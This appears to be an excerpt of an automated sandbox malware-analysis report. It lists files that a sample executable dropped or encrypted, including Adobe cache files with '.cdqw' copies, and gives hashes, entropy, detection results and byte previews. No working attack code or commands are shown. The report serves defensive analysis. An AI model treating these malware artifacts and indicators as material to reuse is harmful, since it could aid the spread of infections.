SHA-512:	0DE193E6F6E9E2F8C05C5DD017A995DAFE845B98BAE7A319A7B773E26C4000F2F5132BE4ECE9A86AF368CEEAA6CE2D748BED0628F68E183C86ED62588FA9DDCE
Malicious:	false
Preview:	S.z1...C..w.........,..:U..P...;.;K.E'..D.e.M.....V...g...&.Z...CE/....0.....r]"Tp...z...........n..r.aH.o.>,d........4...>c.`mC...$.....9.r...!.a...}..y..S...>O....rrW.jA.d."..G.Y....&P..]H.s..t_u?X{...t$.."...>......p.....#7.AH..a....8....YZ.q...&.....e..1(...@...rh.t\a9...&.....$..1.$..!....l...\q..9.h.@.i..dJ...M.@>,.+....=.....'.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.428461761740777
Encrypted:	false
SSDEEP:	12:H66aJt9vdPxCGykH5DWH6Kr7DwLtWgGMD7h9roWSUdNcii9a:a6Q3lPxFykHxWH6K7ytWgDhRoV2bD
MD5:	8B54CFD63BEDE039E4232EC854C73E06
SHA1:	5FDABEF9EC90CEF1345CD4370328C5CC6C4BA6A3
SHA-256:	08943EE01B7FF898ABAD44D54383D6AE5D44F1CAC558C77DD74C413840A25206
SHA-512:	0DE193E6F6E9E2F8C05C5DD017A995DAFE845B98BAE7A319A7B773E26C4000F2F5132BE4ECE9A86AF368CEEAA6CE2D748BED0628F68E183C86ED62588FA9DDCE
Malicious:	false
Preview:	S.z1...C..w.........,..:U..P...;.;K.E'..D.e.M.....V...g...&.Z...CE/....0.....r]"Tp...z...........n..r.aH.o.>,d........4...>c.`mC...$.....9.r...!.a...}..y..S...>O....rrW.jA.d."..G.Y....&P..]H.s..t_u?X{...t$.."...>......p.....#7.AH..a....8....YZ.q...&.....e..1(...@...rh.t\a9...&.....$..1.$..!....l...\q..9.h.@.i..dJ...M.@>,.+....=.....'.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.610116307545394
Encrypted:	false
SSDEEP:	12:k8F3e91Ls4uhHIm0IIy3N/5Ki1Kd7enBZWpNFbP4BJ5mwxtzIjSUdNcii9a:hE7splJN/Ai1KdqBZW5LiJp52bD
MD5:	127A8971AABC6A18FEC6180FD4ED5108
SHA1:	816726AACD3AD941DD58F5027DCDD014AA976389
SHA-256:	99E7D38D07D5E9B27D5CEA5DC78320BB6FA90AFDDF087B223B079483C8F8B7F8
SHA-512:	4D74BAF63EC81475CD1CE70585F28F2E6410AE62F7347BF30950FE64201D8B0B09786906B2B89DA880AF0AECD92CDBC6CEE40C29D2A2A5C4F9B0024BD9F232A6
Malicious:	false
Preview:	2023/?....!..w.R....X. pRf.q.f.......7..;..$.O.a&l~.+...1..#UL.Z4..?..d......y...TZ...../."0.f.j....As?...hM..8Hc..R..a..5..p..[....m%a.H...F....k.].T.;.....qOIe...tM...7}3e. ....I5w.K)k..D...Ga..J..7.R.....B..5.g!.....S.pj.>5..i....lt.,...5v...vKd4........`..;P....YS.....n....l..w.sS.7..I....GdW\.K[Z.k.n3^g....."^..\|.0...N.w...uwa.Y.9iV...Sy....t9nm~..ZHdN.B..../....f.....>.A.`Ml..2f.3SL..j..n.......0..'...@..Uyng.+3@IQ`.K..%f..4n.>.2............]........W@..."tHX3...Q.5...Hq..A.O..ke#&. ..o.q..N.N.".M=.w..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\LOG.old.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.610116307545394
Encrypted:	false
SSDEEP:	12:k8F3e91Ls4uhHIm0IIy3N/5Ki1Kd7enBZWpNFbP4BJ5mwxtzIjSUdNcii9a:hE7splJN/Ai1KdqBZW5LiJp52bD
MD5:	127A8971AABC6A18FEC6180FD4ED5108
SHA1:	816726AACD3AD941DD58F5027DCDD014AA976389
SHA-256:	99E7D38D07D5E9B27D5CEA5DC78320BB6FA90AFDDF087B223B079483C8F8B7F8
SHA-512:	4D74BAF63EC81475CD1CE70585F28F2E6410AE62F7347BF30950FE64201D8B0B09786906B2B89DA880AF0AECD92CDBC6CEE40C29D2A2A5C4F9B0024BD9F232A6
Malicious:	false
Preview:	2023/?....!..w.R....X. pRf.q.f.......7..;..$.O.a&l~.+...1..#UL.Z4..?..d......y...TZ...../."0.f.j....As?...hM..8Hc..R..a..5..p..[....m%a.H...F....k.].T.;.....qOIe...tM...7}3e. ....I5w.K)k..D...Ga..J..7.R.....B..5.g!.....S.pj.>5..i....lt.,...5v...vKd4........`..;P....YS.....n....l..w.sS.7..I....GdW\.K[Z.k.n3^g....."^..\|.0...N.w...uwa.Y.9iV...Sy....t9nm~..ZHdN.B..../....f.....>.A.`Ml..2f.3SL..j..n.......0..'...@..Uyng.+3@IQ`.K..%f..4n.>.2............]........W@..."tHX3...Q.5...Hq..A.O..ke#&. ..o.q..N.N.".M=.w..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.513741347245399
Encrypted:	false
SSDEEP:	12:G5R0vdm/6W3er6bMzWXnJnqpJ6qJlJxUSUdNcii9a:GQUer6bM4JnqpAsJxL2bD
MD5:	ABF4506BAF7C796E267CDA925D0F9C09
SHA1:	D4C8BA769D2855983E2B53A1976F3069394FC2BD
SHA-256:	DFC445691B45F6E2A3394537400663A5201E5DE721BF2DF830400BC9CFB9E9B3
SHA-512:	B30715B9F8242111D3B7CD2C72690E55EF44167E1C27ED8B01CE3129EA0BE47F7BB8017ED1818DDBE6E91AB9C000ABFB3530F9DC32B4303D5CE29A12961BBB48
Malicious:	false
Preview:	.h.6...\|/.f$9..\RHa.+Ez]G..=%......7....U.}bI5k.%.:...0$..l....P.0.{.... .5{.....`y....U....v.xS>`....p...Ml.u.......%".`..R-.........x..&...R/.......[."...=...S-..uy..mSs.3.<1.k3z.veJ./....W...........L.........Xg...DW~.e........4.m...7h.........s..........@K...j....G5..\.\|...m..5O..5G....[..QB.$O..*...}...ET{..o..s..H.}#....l.....&f.\RU..j...J.KR...'.&.[.l&.?...wi...H.z1.......<.7.PB.{.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	494
Entropy (8bit):	7.513741347245399
Encrypted:	false
SSDEEP:	12:G5R0vdm/6W3er6bMzWXnJnqpJ6qJlJxUSUdNcii9a:GQUer6bM4JnqpAsJxL2bD
MD5:	ABF4506BAF7C796E267CDA925D0F9C09
SHA1:	D4C8BA769D2855983E2B53A1976F3069394FC2BD
SHA-256:	DFC445691B45F6E2A3394537400663A5201E5DE721BF2DF830400BC9CFB9E9B3
SHA-512:	B30715B9F8242111D3B7CD2C72690E55EF44167E1C27ED8B01CE3129EA0BE47F7BB8017ED1818DDBE6E91AB9C000ABFB3530F9DC32B4303D5CE29A12961BBB48
Malicious:	false
Preview:	.h.6...\|/.f$9..\RHa.+Ez]G..=%......7....U.}bI5k.%.:...0$..l....P.0.{.... .5{.....`y....U....v.xS>`....p...Ml.u.......%".`..R-.........x..&...R/.......[."...=...S-..uy..mSs.3.<1.k3z.veJ./....W...........L.........Xg...DW~.e........4.m...7h.........s..........@K...j....G5..\.\|...m..5O..5G....[..QB.$O..*...}...ET{..o..s..H.}#....l.....&f.\RU..j...J.KR...'.&.[.l&.?...wi...H.z1.......<.7.PB.{.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	modified
Size (bytes):	635
Entropy (8bit):	7.661299360639527
Encrypted:	false
SSDEEP:	12:kIpq32yz18wHZ5GISaYez00pTwRysjc1rugHsWEM9hwFSUdNcii9a:zpq32xwbGIDYFCTwRy51ruGsWzl2bD
MD5:	B54FACB538C512BFE39142CFCED89B88
SHA1:	C5789D1D30262392FB9EB287DD5F3984293BF068
SHA-256:	27FE7E9B2B395118A5BF9D15540A8A3A2B3E6492A4F988728A6389B57838876D
SHA-512:	E04BB358AB2B80F32CD40D01EC21177C670562F91BEE38847D7A4D6206A5D3AEDAE0011D31C70FD44A0D5B5E0E674F755BA273BDD955A15AE97FD926E44212F4
Malicious:	false
Preview:	2023/.s;.dgm..~A...NUF....}.I.^XC.....K....B,AZ...s....Ae'.+.k...B....\| l. ..Q...;...>.....{I.........g`.Z7.....g.i.......UF(....S+../...+jc4.m.. 8....\../...m...<0x.H.>S.h\|g:w..+....,..Q.....:.....H..4F....x..:G...U?W...n....P.>........8...!O....'1.h .U..u....._.Ab..\..uy...M...u_3...gW3..(..(K.....b....-<K_.~.C..m\...;.(?..z...Z0.WA..^\D....M@:;.`...N`.N.J....pm......<.P.o..s...0...KH.uK.5................Lf.......z1Mg;9.).`.k.....<...x...G.z\|.s.....r.z.x.T.....eGR..]x.V$<q[_.b.......3.sH..8y...a.v.9G...1......:..\mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\LOG.old.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	635
Entropy (8bit):	7.661299360639527
Encrypted:	false
SSDEEP:	12:kIpq32yz18wHZ5GISaYez00pTwRysjc1rugHsWEM9hwFSUdNcii9a:zpq32xwbGIDYFCTwRy51ruGsWzl2bD
MD5:	B54FACB538C512BFE39142CFCED89B88
SHA1:	C5789D1D30262392FB9EB287DD5F3984293BF068
SHA-256:	27FE7E9B2B395118A5BF9D15540A8A3A2B3E6492A4F988728A6389B57838876D
SHA-512:	E04BB358AB2B80F32CD40D01EC21177C670562F91BEE38847D7A4D6206A5D3AEDAE0011D31C70FD44A0D5B5E0E674F755BA273BDD955A15AE97FD926E44212F4
Malicious:	false
Preview:	2023/.s;.dgm..~A...NUF....}.I.^XC.....K....B,AZ...s....Ae'.+.k...B....\| l. ..Q...;...>.....{I.........g`.Z7.....g.i.......UF(....S+../...+jc4.m.. 8....\../...m...<0x.H.>S.h\|g:w..+....,..Q.....:.....H..4F....x..:G...U?W...n....P.>........8...!O....'1.h .U..u....._.Ab..\..uy...M...u_3...gW3..(..(K.....b....-<K_.~.C..m\...;.(?..z...Z0.WA..^\D....M@:;.`...N`.N.J....pm......<.P.o..s...0...KH.uK.5................Lf.......z1Mg;9.).`.k.....<...x...G.z\|.s.....r.z.x.T.....eGR..]x.V$<q[_.b.......3.sH..8y...a.v.9G...1......:..\mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 66791 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	66791
Entropy (8bit):	7.995531727155867
Encrypted:	true
SSDEEP:	1536:drFvD2YSE/sFDqV0FJJynkAhftCvMd3coa282frgW1qgNzU:drVDJSeaDqV0FJwLhVkr282fF5U
MD5:	AC05D27423A85ADC1622C714F2CB6184
SHA1:	B0FE2B1ABDDB97837EA0195BE70AB2FF14D43198
SHA-256:	C6456E12E5E53287A547AF4103E0397CB9697E466CF75844312DC296D43D144D
SHA-512:	6D0EF9050E41FBAE680E0E59DD0F90B6AC7FEA5579EF5708B69D5DA33A0ECE7E8B16574B58B17B64A34CC34A4FFC22B4A62C1ECE61F36C4A11A0665E0536B90D
Malicious:	true
Preview:	MSCF............,...................I.................gW.e .authroot.stl..u/1.5..CK..<Tk...p.k:..c.Y:.(Qc...%Y.f_...$..DHn..6i/.]....-!QQ..}f..f...}..1....9.......pN..mI.a.....!...N.....xP.f6..C.'#.c.@GN(3.<3.......9...('3...l.l....B..x..e...UWFU.TT.l.L...._.l1......w.\..Xb.v..Q......pKP.....M`.Y......Op4=.(=P.e...p.(U.....z7MF..O......V2.....#...pj...z.!...wQ...V&.Gz..Nv.4..y(J...A..':.2Q.^u.y..<.1..2..o........H.D.S.....62.\| w(...B.......h.QZ..'....l.<....6..Z...p?... .pT.......l..S..K....FT?.....p..`.&..y..."T=l.n..egf.w..X.Y...G.m....=.}cO.7.....9....o..:.Y=.-.5....ud.J&.]..Q..._<.S....{a.=.n...PT.Um).\| kpyA....h.PXY.>.......^2U...H.....V<\...k..~....H..p...8..'..?...r>.4..!u......1\.`.<.+..n..p..]...).....L.g....#.<..c]R.U."\i.Z.>...`Q..g6....0.......F.........N.s.Z..A........m.^....a_..>v.-.mk...wt.n.:...>S..;....1...j.+m.&S......$.T...i.B=h.n...c.!e.....Y.#..bw.}...d.. ..w... .&..w.9..}k...\...=....{q.Up..y;..7.-.K.'.....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.124797719806879
Encrypted:	false
SSDEEP:	6:kKSEosurN+SkQlPlEGYRMY9z+4KlDA3RUeWc3l0:KEnPkPlE99SNxAhUeWcC
MD5:	F12383399818ED620DBB9A01369F51F8
SHA1:	5EC4C393DD740171815BE875AE0F2392859967B2
SHA-256:	8D1E132138E8B606EB7755BB6E756D1B9725FB2ED7837E6F2C80C3E228BC4CFD
SHA-512:	3089CE59DF411954EB720DA39CF61C5BD62924AA958D1D1C4F3BBD7AF1A801F2B6C58A755BF48C8A3D1A56ABC15118FC5467B47EF89F9A257C8416F7A20A752D
Malicious:	false
Preview:	p...... .........q.-.C..(....................................................... ..........H"......(...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".3.f.e.4.e.6.1.a.4.8.2.2.d.a.1.:.0."...

C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	699904
Entropy (8bit):	7.849462983030692
Encrypted:	false
SSDEEP:	12288:8QomBFxreNOxUrPjkBdUQB5ZFuqoSiH+2rXkWruygmuuXjd/Yj/lnYuburNXGtRF:8mBrjiruuq5ieUXkWr/G/lYqQA
MD5:	2950CF3E600789B6045B872E19471B0C
SHA1:	2AABFB0A893AAD067F2DD8EC2BAD8BCADB17BFAE
SHA-256:	DAA8DB2383E3D9FE6CC680385E04FD9AEECEE60BC13A4D7C75E55D8D40258D58
SHA-512:	32653A28155EFBCCA6A882535C092CF70C9791DD938093369703E883C3A56A782E1E73911068F1C924777892888CF5F4D96FFED3060DC13C3CC07AD2E6491636
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 86%
Joe Sandbox View:	Filename: Sz8KLg559F.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................PE..L......b......................B......<............@...........................L.....D ..........................................P....0L..}..........................................................h...@............................................text...2........................... ..`.rdata...2.......4..................@..@.data.....A..0......................@....rsrc....}...0L..~...0..............@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	617
Entropy (8bit):	7.602305501411642
Encrypted:	false
SSDEEP:	12:kCF7K/bsis50oO0L1SWtey+yQ+YrqTnuxx1GPJkEgIJ8ISUdNcii9a:nF+sisuLqDQfy6oPJkEBJ8v2bD
MD5:	FF741F1EF61008FC457611CF9D2A3949
SHA1:	D898C32CC30210950CC0F6516FC19071AFC9518E
SHA-256:	0FCECEA7FEDCFEE21E51D6571A22C7C6E92B9B5DEF418D8E8DAC3C3DD3E326BD
SHA-512:	CCC6AC6B4B55AA8895C87B8C55CED0B1F4E3787D22739603A74952AB159B1ADA2852D38E6A9C4F36F12378E9469503FA43161AA6C6C6525155E22F1F7CBFB0E5
Malicious:	false
Preview:	2023/...H.^T..eI...}....Kw'...o.Y.l...\ -...aV."c.j8.Xf.>4h....b.=....Z....>F..w...%....D.......Zzj.vd>@......?A..a....>.e.V.Z.\y..3\|.G.AY>..)g.:Y.U.c3$V.........{..e\....Ot..,H.v.e...~..2t>r..\..Y..6..=../....h.F(M.3)D..].)1xQ..'U.+};..?X:...;~~m.#/..hx.0..n.....}v*.D.\|..%.3..E...V>.Z..D..B.+#.".I'8.mv....0...@....7..>?.~.t=.4..m..-..Dw..qJ.,.u.+~U.ALy.. K^..<..9....<....o..#R..'......0..L.A...(.......G.}..gZ..1..3d@^aN...K2A..h...,.pG\|.BRo.s....9.8.T.Q.VW...J.QN..>..]e.d.gm.a...6"].X.b......+...T.~.;..s....U.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.753901438743827
Encrypted:	false
SSDEEP:	24:YKWeBwx5Hw3bGROIT7UTi29AEhk/HkK7S2bD:YoBwVRdT7wiWID
MD5:	E88291A6FBF6AA07CF8772A473E97E2A
SHA1:	0287BACEEA441745B8E057C7E4C86C96DB619053
SHA-256:	4D33B962F1477AAE4E62292AF32E4E36D42927AABC0AF0AD43F5C3270BAA5651
SHA-512:	5ED1957231267BE8DC64F602E9EC9B015C7754822B79769791440CC112BD6799E90D3B2B4077A441B301CA1158386598E72597F4C6213FAE13215F56B975D3D6
Malicious:	false
Preview:	{"os_.D.W.....I.*1....Y....\.w. D...5.L{..k.1..x..#...^0&4.@/.y...f.E7..(....rN.K?.B.q.K...Y.....3b...G.bu..B.<T....=Kh..NG.........&;..#.om..K...?_`?..^..-d.Y....tKB.K.N...wA...=....?...4..R}....e...z.....2.as.T...Y..\|H\c!.}K..:KB.O...N.......W...............a@.:;.....{..MC..[..j....YSm.....0....`.k....<.9.Jr..(>?...T.D..r}..:.0=\|.Y:Z...o..d....5..I/......#.TO...(m9..i...la..@wW..g{....kA:.G.h...>z>cV..L.I.eoD.. (TH.Y.U.....O.3.l....y....$i.....^..kN/S.v.M..X.S..U.H..w......cG.e.....n.T..".]...7dMw=.Q......_3../.\|.n..,..:.F..."...{..1..p.(.O.u..\|.......5.q.s.x.2`,GA0P/J..;P.J..h.;.r/...e....r......c.3....QkSS..H...S....!..4.aa.H...y....}.d...../;T ...../.'....d...Y.........LPR.. .A..=.i..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	730
Entropy (8bit):	7.709111686935198
Encrypted:	false
SSDEEP:	12:Smrt4cHilg2b7eAmqO2MepEQCGvA2QD7qaAPSv3IjNxToHBQmp/QBF5LGerfbLiq:7KtevqONepEQi3DGXPSv3I5xToHBQY/w
MD5:	E4DA9EEEA3A6FDE887EF5AEA7CFBA7D5
SHA1:	2C3FA8F8975BB253D0E28652C5D9ED3AEF01FF8B
SHA-256:	113CAFE4550D6F58CB0C0A9268A9A9E7C229416B355D4B641332984247D80EAC
SHA-512:	4D386DB503916A86253CDBB44EAEE83E8116A47709EA86684B4F2A3C43F38ED9D86F628B25307BE3F94575A1612E6C0EE21F73BA8060BBA2AE3B92A20078A6A0
Malicious:	false
Preview:	...#.e..L....73..v<.f..}F.,......+....$.".l.h...f..j.d7(O.N...N.N.&A............"P.i4dx{..oOCo.Y\|../zW..x.t&.o.Q.......+.\|n..9.%,.A9@....i..8..l]&..?l..x......z......^..!.Q.....x...b..t>...H.h.{......d._[...f7.....4[....A..x>...m.%.r.1i..B.#U..^...Z.v.....\F.dp..a..'4.`\|......HC.M. >r.v..>~.>..W:.......k....].4\|....#....=K..oR.v..\|.A..0O.U........o.,.,P]-&.s<...i..N..W.J...."w..n.k....sa..\|.W:..I..k.....?.<....g..>6....v..B`..m)...G....YZ...3..'W......~.pi....g.\y....<<B;Jr}.C. Z\~.c..b..tN..j...2...3.M.....b......V...z..6.j#.yP.E@%#C.wZ2l.wr~.]x......QL.%p..H..An..a.....V.h..........`..#..J./;\..m.. ...C.3..VBmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	652
Entropy (8bit):	7.6521620574275655
Encrypted:	false
SSDEEP:	12:kS5wg5550d2aUK9NaCZacOKNuL/2M5bbLKEqjeqklgcEVasFN+XtDxmS0VFSUdNX:bB0QZtHE8zLNLkiPBafU1RH2bD
MD5:	E6DA86B5BA7BBF8FA09F5E17CD7878B6
SHA1:	A4E76BEEDA88D2D6476ACA34F1D475C4F463DA24
SHA-256:	B608D7ECB8F55A7C5730ACA577505BCD8A8EE6E4186D0231AC0A1046BEB0C417
SHA-512:	CACB7D440226CB39A76FFAFF58211370A73075026E108F81F28FA7D1A151E1AA3AFDF7C988CF8B44F7D92D0E2A44AF753A360C565AB3C6BD7E35F8D93DFAC21A
Malicious:	false
Preview:	2023/..P..j...r2.a1.W....b..d.....5N_v.QU..bg....bb..\|w[..ug...RGU....T. .....F..@....\|6 ..h...+.-..@.@,......9!..\|...M.7s;..V...O=...^.0~.).y..<`".:31.aW.....&W?z...l....(..cy....S..r.N...B.Y)VQ>.KS7i.>$......C...[.d.._K..&...9.k..1.Du.8f....5....NU...C.............96.j&U....&.i.......b...e>..Z1.Q)w..N...-..H....m.d......1_............S..(.{..iJee..../..y.....Z`>..v.......\|k.efy.M.,.$.D.>..X..KN..C;....8....{-.I".....GVF...z?;-D..I.4.^..SP.o8C.uz..o......."o..v.-s..\rx.n[h....:..z.U.s...&;..2..`8J .......A.L%S..&...G.c..i"G.......X..}mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.8656691042619835
Encrypted:	false
SSDEEP:	48:gRouZrIu3Hswy4rNRqTQgc2o7r8p+3WESNRoZsuD:w3rNRHP2sgsVSN0R
MD5:	614D4BC05C9C25FB6A9016D9BD37F39A
SHA1:	F659030244293D1003BC18222C2F83A1CA7E9163
SHA-256:	24FDEA527B0B87E85FE5FF20AA14C9A1ADFE32B16F481BA4FABC3734A4A43405
SHA-512:	B4DE72F4372EB719C6C4F4E8E33393D9B3B40760274945602E5EBC5DEAEF3A3077A8975E3A975A0ED6D7EFACAAA1B81718F9B42BAD6450B5CD5868F3E2E808CD
Malicious:	false
Preview:	%!Ado..a.M..........Ua8d.#j.Q,..<.GP<.r.t5....0..;q...:....4;......W..l...d...Cz.4...Xtk...KX5b{.\|..Pt.p........H.W.H..C.&>:W.O.#5.O..J..'...4y5W.L..._Z.I.d..H...1.3.Mg...Y..#.<.B.[.l.<~.P.1....B....Q..9...k}.%.lAp..el.?.....].q....C..q.cCt.-...nA...j...]..}..H.~.G..`jX...i:...R:.F...w.}ML...u.A1.y."D`3V..#6.7.OK..^..TP....7V.41..Az...[...Oz&I..].................."F'../.xP.lc<_}.=..p..T9...qes..2i....FJ;..)...r1..)rQ.<2..&...#..n.Z....Rz.......j:..V`h.Mp.._.B.g.......l.......@..RO..+..p"O.0....r...T&UB...+uV.2e8.h...u...1.&w....!I....b.<.^RC9p>.F..(.w<h.$.<d.\|.S./.6j.F....q>8..w...<.\...u.>...eS.........%X..q..2..Hc..u.+.p.....0BS.}....g6.n<.....C../z.7...t.p.Z..}.$v,F...9..mGBO.Z..2c)..b.v...~S....\.....]A[.rV.nV!..c.e....eYV^...P,{.X...\%~../.qw.!...X../C5...I\V..E.f...xt8.C....2....U..g..&?...W6~....%V..C....8+..5....W L{U..kg'R._s.....z.....r.q,OF-..............Ws.^...:...?.<.....v.m.Zm..e.h.ss.>..Qv.oYR.<C.qw....dZX....(,..,#

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.87571447835255
Encrypted:	false
SSDEEP:	3072:SV5ys8F3JzxpF4fPxCbvXQce2+S1i4Azvj24Y7ylh8v7Y4UdgJnfXE07ZmandGCm:g5v8FJ3F4nCve9EeGZycv7pUd+fXE07K
MD5:	BEC3A49FACDE1D2A20B6E61DD44B7D2A
SHA1:	FBEABE918E914D283B00B04520ECD5A926A85C3D
SHA-256:	F524AD03C3537C784FBF4FBE769B8EDD1D43406FCE54841E5D17C0160403A0B9
SHA-512:	D04E00929EEDAA20869A4F605A0B1F39F60023B60B446B5BE1C8AE6B526E641982EE432E485837EC603BADF9A3414BEBF9CBE824815EE86BA66586ECAC02FB2F
Malicious:	false
